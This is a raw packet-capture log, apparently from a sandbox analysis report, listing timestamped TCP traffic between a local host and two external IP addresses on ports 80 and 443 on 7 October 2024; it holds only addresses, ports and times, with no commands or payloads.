Oct 7, 2024 19:33:21.141782045 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.141792059 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.141802073 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.141813040 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.141824961 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.141835928 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.141836882 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.141838074 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.141838074 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.141848087 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.141859055 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.141870022 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.141875982 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.141875982 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.141904116 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.141951084 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.141953945 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.141966105 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.141978025 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.142008066 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.142008066 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.142076015 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.187081099 CEST	443	49769	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:21.187407017 CEST	49769	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:21.187427998 CEST	443	49769	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:21.188100100 CEST	49769	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:21.188107014 CEST	443	49769	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:21.204958916 CEST	443	49770	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:21.207602978 CEST	49770	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:21.207619905 CEST	443	49770	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:21.207959890 CEST	49770	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:21.207972050 CEST	443	49770	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:21.220838070 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.220856905 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.220870018 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.220890999 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.220890999 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.220917940 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.220968962 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.220980883 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.220992088 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.221003056 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.221009016 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.221015930 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.221029043 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.221033096 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.221046925 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.221059084 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.221059084 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.221077919 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.221091986 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.221117973 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.221585035 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.221729994 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.221735954 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.221743107 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.221756935 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.221766949 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.221775055 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.221779108 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.221788883 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.221792936 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.221806049 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.221817970 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.221828938 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.221841097 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.221853018 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.221853018 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.221853018 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.221865892 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.221878052 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.221889019 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.221898079 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.221898079 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.221903086 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.221908092 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.221952915 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.221952915 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.221980095 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.221993923 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.222006083 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.222017050 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.222038031 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.222052097 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.222064018 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.222074032 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.222075939 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.222075939 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.222075939 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.222088099 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.222100973 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.222121954 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.222121954 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.222141027 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.224800110 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.224809885 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.224822998 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.224833965 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.224858046 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.224858046 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.225014925 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.225025892 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.225038052 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.225049973 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.225074053 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.225074053 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.225122929 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.225152969 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.225162983 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.225174904 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.225186110 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.225198030 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.225208044 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.225219011 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.225229979 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.225229979 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.225230932 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.225243092 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.225282907 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.225282907 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.225282907 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.225305080 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.225317001 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.225330114 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.225358963 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.225358963 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.225359917 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.225373983 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.225384951 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.225397110 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.225402117 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.225402117 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.225411892 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.225464106 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.225464106 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.225464106 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.225496054 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.225508928 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.225518942 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.225531101 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.225547075 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.225547075 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.225589991 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.225601912 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.225613117 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.225627899 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.225629091 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.225629091 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.225641012 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.225653887 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.225682974 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.225692034 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.225692034 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.225692034 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.225697994 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.225735903 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.225735903 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.225779057 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.225790024 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.225802898 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.225816965 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.225840092 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.225840092 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.225840092 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.225862980 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.225930929 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.225944996 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.225955009 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.225965977 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.225977898 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.225977898 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.225985050 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.225991964 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.225995064 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.226007938 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.226018906 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.226031065 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.226042032 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.226042032 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.226042032 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.226044893 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.226085901 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.226087093 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.226087093 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.226140022 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.226152897 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.226164103 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.226175070 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.226186991 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.226207018 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.226207972 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.226207972 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.226207972 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.226219893 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.226257086 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.226257086 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.226290941 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.226303101 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.226320028 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.226330996 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.226342916 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.226344109 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.226344109 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.226344109 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.226355076 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.226366997 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.226382971 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.226382971 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.226382971 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.226430893 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.226466894 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.226479053 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.226489067 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.226500988 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.226512909 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.226516008 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.226516008 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.226524115 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.226537943 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.226547956 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.226563931 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.226563931 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.226563931 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.226613998 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.226625919 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.226636887 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.226646900 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.226656914 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.226656914 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.226679087 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.226763964 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.231595993 CEST	443	49768	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:21.231651068 CEST	443	49768	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:21.231756926 CEST	49768	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:21.231960058 CEST	49768	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:21.231960058 CEST	49768	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:21.231976032 CEST	443	49768	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:21.231985092 CEST	443	49768	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:21.239195108 CEST	49773	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:21.239228010 CEST	443	49773	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:21.239280939 CEST	49773	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:21.239563942 CEST	49773	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:21.239578962 CEST	443	49773	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:21.548712969 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.548724890 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.548734903 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.548746109 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.548755884 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.548758984 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.548768044 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.548779964 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.548790932 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.548799992 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.548810959 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.548815966 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.548825979 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.548829079 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.548829079 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.548829079 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.548837900 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.548846006 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.548857927 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.548868895 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.548878908 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.548893929 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.548893929 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.548894882 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.548907042 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.548917055 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.548928976 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.548938990 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.548940897 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.548940897 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.548940897 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.548968077 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.548983097 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.548983097 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.549014091 CEST	443	49769	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:21.549017906 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.549032927 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.549045086 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.549051046 CEST	443	49770	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:21.549060106 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.549071074 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.549081087 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.549082994 CEST	443	49769	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:21.549092054 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.549098015 CEST	443	49770	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:21.549102068 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.549103022 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.549134970 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.549134970 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.549134970 CEST	49769	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:21.549177885 CEST	49770	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:21.549177885 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.549292088 CEST	49769	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:21.549292088 CEST	49769	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:21.549315929 CEST	443	49769	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:21.549319983 CEST	443	49769	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:21.549346924 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.549364090 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.549374104 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.549385071 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.549388885 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.549396992 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.549408913 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.549417973 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.549417973 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.549418926 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.549431086 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.549442053 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.549443960 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.549443960 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.549454927 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.549463034 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.549468040 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.549484015 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.549494982 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.549503088 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.549503088 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.549508095 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.549514055 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.549521923 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.549532890 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.549545050 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.549546003 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.549546957 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.549575090 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.549590111 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.549761057 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.549772024 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.549782991 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.549793005 CEST	80	49718	46.8.231.109	192.168.2.7
